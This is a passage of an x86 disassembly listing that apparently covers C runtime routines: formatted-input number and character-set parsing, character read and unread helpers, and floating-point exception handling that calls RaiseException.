sub_420375+330j test eax, eax jz short loc_4206D7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4206D7 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420692 ; --------------------------------------------------------------------------- loc_4206D7: ; CODE XREF: sub_420375+2FAj ; sub_420375+304j ... cmp [ebp+var_1C], 0 jz loc_42076F cmp ebx, 65h jz short loc_4206EF cmp ebx, 45h jnz loc_42076F loc_4206EF: ; CODE XREF: sub_420375+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42076F mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_420716 mov [esi], al inc esi jmp short loc_42071B ; --------------------------------------------------------------------------- loc_420716: ; CODE XREF: sub_420375+39Aj cmp ebx, 2Bh jnz short loc_420739 loc_42071B: ; CODE XREF: sub_420375+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_42072A and [ebp+var_C], eax jmp short loc_420739 ; --------------------------------------------------------------------------- loc_42072A: ; CODE XREF: sub_420375+3AEj ; sub_420375+3F8j inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420739: ; CODE XREF: sub_420375+3A4j ; sub_420375+3B3j cmp dword_44276C, 1 jle short loc_42074E push 4 push ebx call sub_41F37A pop ecx pop ecx jmp short loc_420759 ; --------------------------------------------------------------------------- loc_42074E: ; CODE XREF: sub_420375+3CBj mov eax, off_442560 mov al, [eax+ebx*2] and eax, 4 loc_420759: ; CODE XREF: sub_420375+3D7j test eax, eax jz short loc_42076F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42076F inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_42072A ; --------------------------------------------------------------------------- loc_42076F: ; CODE XREF: sub_420375+366j ; sub_420375+374j ... dec [ebp+var_4] push edi push ebx call sub_420DEB cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420D7B cmp [ebp+var_E], 0 jnz loc_420CDC inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_442B10 add esp, 0Ch jmp loc_420CDC ; --------------------------------------------------------------------------- loc_4207B3: ; CODE XREF: sub_420375+20Cj cmp [ebp+var_20], eax jnz short loc_4207C2 inc [ebp+var_C] mov [ebp+var_20], 1 loc_4207C2: ; CODE XREF: sub_420375+441j cmp [ebp+var_5], 0 jle short loc_4207CC mov [ebp+var_16], 1 loc_4207CC: ; CODE XREF: sub_420375+451j mov edi, offset dword_4429E8 jmp loc_4208E1 ; --------------------------------------------------------------------------- loc_4207D6: ; CODE XREF: sub_420375+1FDj mov eax, esi sub eax, 70h jz loc_420A84 sub eax, 3 jz loc_4208D2 dec eax dec eax jz loc_420A88 sub eax, 3 jz loc_4205BE sub eax, 3 jz short loc_420824 loc_420800: ; CODE XREF: sub_420375+21Bj ; sub_420375+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420D4B dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420CDC mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420CDC ; --------------------------------------------------------------------------- loc_420824: ; CODE XREF: sub_420375+489j cmp [ebp+var_5], 0 jle short loc_42082E mov [ebp+var_16], 1 loc_42082E: ; CODE XREF: sub_420375+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_4208E5 mov eax, edi lea edi, [eax+1] jmp loc_4208E1 ; --------------------------------------------------------------------------- loc_420848: ; CODE XREF: sub_420375+24Fj cmp ebx, 2Bh jnz short loc_42086F loc_42084D: ; CODE XREF: sub_420375+259j dec [ebp+var_C] jnz short loc_42085E cmp [ebp+var_20], 0 jz short loc_42085E mov [ebp+var_F], 1 jmp short loc_42086F ; --------------------------------------------------------------------------- loc_42085E: ; CODE XREF: sub_420375+4DBj ; sub_420375+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_42086F: ; CODE XREF: sub_420375+4D6j ; sub_420375+4E7j cmp ebx, 30h jnz loc_420ABD push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4208BD cmp bl, 58h jz short loc_4208BD cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4208A7 push 6Fh loc_4208A1: ; CODE XREF: sub_420375+55Bj pop esi jmp loc_420ABD ; --------------------------------------------------------------------------- loc_4208A7: ; CODE XREF: sub_420375+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420DEB pop ecx pop ecx push 30h pop ebx jmp loc_420ABA ; --------------------------------------------------------------------------- loc_4208BD: ; CODE XREF: sub_420375+517j ; sub_420375+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4208A1 ; --------------------------------------------------------------------------- loc_4208D2: ; CODE XREF: sub_420375+46Fj cmp [ebp+var_5], 0 jle short loc_4208DC mov [ebp+var_16], 1 loc_4208DC: ; CODE XREF: sub_420375+561j mov edi, offset dword_4429E0 loc_4208E1: ; CODE XREF: sub_420375+45Cj ; sub_420375+4CEj or [ebp+var_18], 0FFh loc_4208E5: ; CODE XREF: sub_420375+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BC40 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420909 cmp byte ptr [edi], 5Dh jnz short loc_420909 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_42090C ; --------------------------------------------------------------------------- loc_420909: ; CODE XREF: sub_420375+584j ; sub_420375+589j mov dl, [ebp+var_35] loc_42090C: ; CODE XREF: sub_420375+592j ; sub_420375+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420971 inc edi cmp al, 2Dh jnz short loc_420958 test dl, dl jz short loc_420958 mov cl, [edi] cmp cl, 5Dh jz short loc_420958 inc edi cmp dl, cl jnb short loc_42092B mov al, cl jmp short loc_42092F ; --------------------------------------------------------------------------- loc_42092B: ; CODE XREF: sub_420375+5B0j mov al, dl mov dl, cl loc_42092F: ; CODE XREF: sub_420375+5B4j cmp dl, al ja short loc_420954 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_42093C: ; CODE XREF: sub_420375+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_42093C loc_420954: ; CODE XREF: sub_420375+5BCj xor dl, dl jmp short loc_42090C ; --------------------------------------------------------------------------- loc_420958: ; CODE XREF: sub_420375+5A0j ; sub_420375+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_42090C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420375+59Bj cmp byte ptr [edi], 0 jz loc_420D7B cmp [ebp+var_3C], 7Bh jnz short loc_420983 mov [ebp+arg_4], edi loc_420983: ; CODE XREF: sub_420375+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420DEB pop ecx pop ecx loc_42099A: ; CODE XREF: sub_420375+6BCj ; sub_420375+6C4j cmp [ebp+var_20], 0 jz short loc_4209AE mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420A4A loc_4209AE: ; CODE XREF: sub_420375+629j inc [ebp+var_4] push edi call sub_420DD1 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420A3E mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420A3E cmp [ebp+var_E], 0 jnz short loc_420A36 cmp [ebp+var_16], 0 jz short loc_420A2B mov ecx, off_442560 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420A0A inc [ebp+var_4] push edi call sub_420DD1 pop ecx mov [ebp+var_37], al loc_420A0A: ; CODE XREF: sub_420375+686j push dword_44276C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423D26 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420A2E ; --------------------------------------------------------------------------- loc_420A2B: ; CODE XREF: sub_420375+673j mov [esi], al inc esi loc_420A2E: ; CODE XREF: sub_420375+6B4j mov [ebp+var_2C], esi jmp loc_42099A ; --------------------------------------------------------------------------- loc_420A36: ; CODE XREF: sub_420375+66Dj inc [ebp+var_30] jmp loc_42099A ; --------------------------------------------------------------------------- loc_420A3E: ; CODE XREF: sub_420375+649j ; sub_420375+667j dec [ebp+var_4] push edi push eax call sub_420DEB pop ecx pop ecx loc_420A4A: ; CODE XREF: sub_420375+633j cmp [ebp+var_30], esi jz loc_420D7B cmp [ebp+var_E], 0 jnz loc_420CDC inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420CDC cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420A7C and word ptr [eax], 0 jmp loc_420CDC ; --------------------------------------------------------------------------- loc_420A7C: ; CODE XREF: sub_420375+6FCj and byte ptr [eax], 0 jmp loc_420CDC ; --------------------------------------------------------------------------- loc_420A84: ; CODE XREF: sub_420375+466j mov [ebp+var_D], 1 loc_420A88: ; CODE XREF: sub_420375+203j ; sub_420375+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420A96 mov [ebp+var_17], 1 jmp short loc_420A9B ; --------------------------------------------------------------------------- loc_420A96: ; CODE XREF: sub_420375+719j cmp ebx, 2Bh jnz short loc_420ABD loc_420A9B: ; CODE XREF: sub_420375+71Fj dec [ebp+var_C] jnz short loc_420AAC cmp [ebp+var_20], 0 jz short loc_420AAC mov [ebp+var_F], 1 jmp short loc_420ABD ; --------------------------------------------------------------------------- loc_420AAC: ; CODE XREF: sub_420375+729j ; sub_420375+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 pop ecx mov ebx, eax loc_420ABA: ; CODE XREF: sub_420375+543j mov [ebp+var_14], ebx loc_420ABD: ; CODE XREF: sub_420375+4FDj ; sub_420375+52Dj ... cmp [ebp+var_30], 0 jz loc_420BD6 cmp [ebp+var_F], 0 jnz loc_420BB4 loc_420AD1: ; CODE XREF: sub_420375+82Cj cmp esi, 78h jnz short loc_420B25 cmp dword_44276C, 1 jle short loc_420AEE push 80h push ebx call sub_41F37A pop ecx pop ecx jmp short loc_420AFB ; --------------------------------------------------------------------------- loc_420AEE: ; CODE XREF: sub_420375+768j mov eax, off_442560 mov al, [eax+ebx*2] and eax, 80h loc_420AFB: ; CODE XREF: sub_420375+777j test eax, eax jz loc_420BA6 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423DF0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420D9A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420B78 ; --------------------------------------------------------------------------- loc_420B25: ; CODE XREF: sub_420375+75Fj cmp dword_44276C, 1 jle short loc_420B3A push 4 push ebx call sub_41F37A pop ecx pop ecx jmp short loc_420B45 ; --------------------------------------------------------------------------- loc_420B3A: ; CODE XREF: sub_420375+7B7j mov eax, off_442560 mov al, [eax+ebx*2] and eax, 4 loc_420B45: ; CODE XREF: sub_420375+7C3j test eax, eax jz short loc_420BA6 cmp esi, 6Fh jnz short loc_420B63 cmp ebx, 38h jge short loc_420BA6 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423DF0 jmp short loc_420B72 ; --------------------------------------------------------------------------- loc_420B63: ; CODE XREF: sub_420375+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D950 loc_420B72: ; CODE XREF: sub_420375+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420B78: ; CODE XREF: sub_420375+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420B90 dec [ebp+var_C] jz short loc_420BB4 loc_420B90: ; CODE XREF: sub_420375+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420AD1 ; --------------------------------------------------------------------------- loc_420BA6: ; CODE XREF: sub_420375+788j ; sub_420375+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420DEB pop ecx pop ecx loc_420BB4: ; CODE XREF: sub_420375+756j ; sub_420375+819j cmp [ebp+var_17], 0 jz loc_420C9A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420C9A ; --------------------------------------------------------------------------- loc_420BD6: ; CODE XREF: sub_420375+74Cj cmp [ebp+var_F], 0 jnz loc_420C92 loc_420BE0: ; CODE XREF: sub_420375+90Aj cmp esi, 78h jz short loc_420C24 cmp esi, 70h jz short loc_420C24 cmp dword_44276C, 1 jle short loc_420BFF push 4 push ebx call sub_41F37A pop ecx pop ecx jmp short loc_420C0A ; --------------------------------------------------------------------------- loc_420BFF: ; CODE XREF: sub_420375+87Cj mov eax, off_442560 mov al, [eax+ebx*2] and eax, 4 loc_420C0A: ; CODE XREF: sub_420375+888j test eax, eax jz short loc_420C84 cmp esi, 6Fh jnz short loc_420C1D cmp ebx, 38h jge short loc_420C84 shl edi, 3 jmp short loc_420C5C ; --------------------------------------------------------------------------- loc_420C1D: ; CODE XREF: sub_420375+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420C5C ; --------------------------------------------------------------------------- loc_420C24: ; CODE XREF: sub_420375+86Ej ; sub_420375+873j cmp dword_44276C, 1 jle short loc_420C3C push 80h push ebx call sub_41F37A pop ecx pop ecx jmp short loc_420C49 ; --------------------------------------------------------------------------- loc_420C3C: ; CODE XREF: sub_420375+8B6j mov eax, off_442560 mov al, [eax+ebx*2] and eax, 80h loc_420C49: ; CODE XREF: sub_420375+8C5j test eax, eax jz short loc_420C84 push ebx shl edi, 4 call sub_420D9A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420C5C: ; CODE XREF: sub_420375+8A6j ; sub_420375+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420C6E dec [ebp+var_C] jz short loc_420C92 loc_420C6E: ; CODE XREF: sub_420375+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420DD1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420BE0 ; --------------------------------------------------------------------------- loc_420C84: ; CODE XREF: sub_420375+897j ; sub_420375+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420DEB pop ecx pop ecx loc_420C92: ; CODE XREF: sub_420375+865j ; sub_420375+8F7j cmp [ebp+var_17], 0 jz short loc_420C9A neg edi loc_420C9A: ; CODE XREF: sub_420375+843j ; sub_420375+85Cj ... cmp esi, 46h jnz short loc_420CA3 and [ebp+var_1C], 0 loc_420CA3: ; CODE XREF: sub_420375+928j cmp [ebp+var_1C], 0 jz loc_420D7B cmp [ebp+var_E], 0 jnz short loc_420CDC inc [ebp+var_34] loc_420CB6: ; CODE XREF: sub_420375+23Bj cmp [ebp+var_30], 0 jz short loc_420CCC mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420CDC ; --------------------------------------------------------------------------- loc_420CCC: ; CODE XREF: sub_420375+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420CD9 mov [eax], edi jmp short loc_420CDC ; --------------------------------------------------------------------------- loc_420CD9: ; CODE XREF: sub_420375+95Ej mov [eax], di loc_420CDC: ; CODE XREF: sub_420375+241j ; sub_420375+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420D29 ; --------------------------------------------------------------------------- loc_420CE7: ; CODE XREF: sub_420375+93j inc [ebp+var_4] push edi call sub_420DD1 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420D56 mov ecx, off_442560 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420D29 inc [ebp+var_4] push edi call sub_420DD1 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420D64 dec [ebp+var_4] loc_420D29: ; CODE XREF: sub_420375+970j ; sub_420375+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420D3F cmp byte ptr [esi], 25h jnz short loc_420D81 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420D81 mov esi, eax loc_420D3F: ; CODE XREF: sub_420375+9B8j mov al, [esi] test al, al jnz loc_42039F jmp short loc_420D7B ; --------------------------------------------------------------------------- loc_420D4B: ; CODE XREF: sub_420375+1F4j ; sub_420375+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420D5B ; --------------------------------------------------------------------------- loc_420D56: ; CODE XREF: sub_420375+98Aj dec [ebp+var_4] push edi push ebx loc_420D5B: ; CODE XREF: sub_420375+9DFj call sub_420DEB pop ecx pop ecx jmp short loc_420D7B ; --------------------------------------------------------------------------- loc_420D64: ; CODE XREF: sub_420375+9AFj dec [ebp+var_4] push edi push eax call sub_420DEB dec [ebp+var_4] push edi push ebx call sub_420DEB add esp, 10h loc_420D7B: ; CODE XREF: sub_420375+1Fj ; sub_420375+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420D92 loc_420D81: ; CODE XREF: sub_420375+9BDj ; sub_420375+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420D95 cmp [ebp+var_15], al jnz short loc_420D95 or eax, 0FFFFFFFFh jmp short loc_420D95 ; --------------------------------------------------------------------------- loc_420D92: ; CODE XREF: sub_420375+A0Aj mov eax, [ebp+var_34] loc_420D95: ; CODE XREF: sub_420375+A11j ; sub_420375+A16j ... pop edi pop esi pop ebx leave retn sub_420375 endp ; =============== S U B R O U T I N E ======================================= sub_420D9A proc near ; CODE XREF: sub_420375+7A3p ; sub_420375+8DCp arg_0 = dword ptr 4 cmp dword_44276C, 1 push esi jle short loc_420DB4 mov esi, [esp+4+arg_0] push 4 push esi call sub_41F37A pop ecx pop ecx jmp short loc_420DC3 ; --------------------------------------------------------------------------- loc_420DB4: ; CODE XREF: sub_420D9A+8j mov esi, [esp+4+arg_0] mov eax, off_442560 mov al, [eax+esi*2] and eax, 4 loc_420DC3: ; CODE XREF: sub_420D9A+18j test eax, eax jnz short loc_420DCD and esi, 0FFFFFFDFh sub esi, 7 loc_420DCD: ; CODE XREF: sub_420D9A+2Bj mov eax, esi pop esi retn sub_420D9A endp ; =============== S U B R O U T I N E ======================================= sub_420DD1 proc near ; CODE XREF: sub_420375+1E1p ; sub_420375+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420DE3 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420DE3: ; CODE XREF: sub_420DD1+7j push edx call sub_41EEA8 pop ecx retn sub_420DD1 endp ; =============== S U B R O U T I N E ======================================= sub_420DEB proc near ; CODE XREF: sub_420375+6Bp ; sub_420375+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420E01 push [esp+arg_4] push [esp+4+arg_0] call sub_423E0F pop ecx pop ecx locret_420E01: ; CODE XREF: sub_420DEB+5j retn sub_420DEB endp ; =============== S U B R O U T I N E ======================================= sub_420E02 proc near ; CODE XREF: sub_420375+63p ; sub_420375+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420E08: ; CODE XREF: sub_420E02+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420DD1 mov edi, eax push edi call sub_41DD40 pop ecx test eax, eax pop ecx jnz short loc_420E08 mov eax, edi pop edi pop esi retn sub_420E02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420E26(int, int, double, int) sub_420E26 proc near ; CODE XREF: sub_41CD19+51p ; sub_41CE5F+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_442EE0, 0 jnz short loc_420E5B push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_4213DB add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420E5B: ; CODE XREF: sub_420E26+Aj push 0FFFFh mov dword_4E14F8, 21h push [ebp+arg_C] call sub_42164E fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_420E79(int, int, double, double, int) sub_420E79 proc near ; CODE XREF: sub_41CD19:loc_41CDDCp ; sub_41CE5F:loc_41CF22p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_4211C4 add esp, 0Ch test eax, eax jnz short loc_420EB7 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_420F11 add esp, 18h loc_420EB7: ; CODE XREF: sub_420E79+1Aj push [ebp+arg_0] call sub_4214AE cmp dword_442EE0, 0 pop ecx jnz short loc_420EF5 test eax, eax jz short loc_420EF5 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_4213DB add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_420EF5: ; CODE XREF: sub_420E79+4Ej ; sub_420E79+52j push eax call sub_421463 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_42164E fld [ebp+arg_10] pop ecx pop ecx leave retn sub_420E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420F11 proc near ; CODE XREF: sub_420E79+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_420F43 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_420F43: ; CODE XREF: sub_420F11+23j test cl, 2 jz short loc_420F56 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_420F56: ; CODE XREF: sub_420F11+35j test cl, bl jz short loc_420F68 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_420F68: ; CODE XREF: sub_420F11+47j test cl, 4 jz short loc_420F7B mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_420F7B: ; CODE XREF: sub_420F11+5Aj test cl, 8 jz short loc_420F8E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_420F8E: ; CODE XREF: sub_420F11+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_421631 test al, bl jz short loc_421017 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421017: ; CODE XREF: sub_420F11+FDj test al, 4 jz short loc_421022 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421022: ; CODE XREF: sub_420F11+108j test al, 8 jz short loc_42102D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_42102D: ; CODE XREF: sub_420F11+113j test al, 10h jz short loc_421037 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421037: ; CODE XREF: sub_420F11+11Ej test al, 20h jz short loc_421041 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421041: ; CODE XREF: sub_420F11+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421080 cmp eax, 400h jz short loc_421072 cmp eax, 800h jz short loc_421066 cmp eax, ecx jnz short loc_421086 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421086 ; --------------------------------------------------------------------------- loc_421066: ; CODE XREF: sub_420F11+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_42107C ; --------------------------------------------------------------------------- loc_421072: ; CODE XREF: sub_420F11+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_42107C: ; CODE XREF: sub_420F11+15Fj mov [eax], ecx jmp short loc_421086 ; --------------------------------------------------------------------------- loc_421080: ; CODE XREF: sub_420F11+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421086: ; CODE XREF: sub_420F11+14Bj ; sub_420F11+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_4210B1 cmp eax, 200h jz short loc_4210A4 cmp eax, ecx jnz short loc_4210BE mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_4210BE ; --------------------------------------------------------------------------- loc_4210A4: ; CODE XREF: sub_420F11+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_4210BC ; --------------------------------------------------------------------------- loc_4210B1: ; CODE XREF: sub_420F11+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_4210BC: ; CODE XREF: sub_420F11+19Ej mov [eax], ecx loc_4210BE: ; CODE XREF: sub_420F11+189j ; sub_420F11+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42163F lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_42705C ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421138 and dword ptr [esi], 0FFFFFFFEh loc_421138: ; CODE XREF: sub_420F11+222j test byte ptr [eax+8], 8 jz short loc_421141 and dword ptr [esi], 0FFFFFFFBh loc_421141: ; CODE XREF: sub_420F11+22Bj test byte ptr [eax+8], 4 jz short loc_42114A and dword ptr [esi], 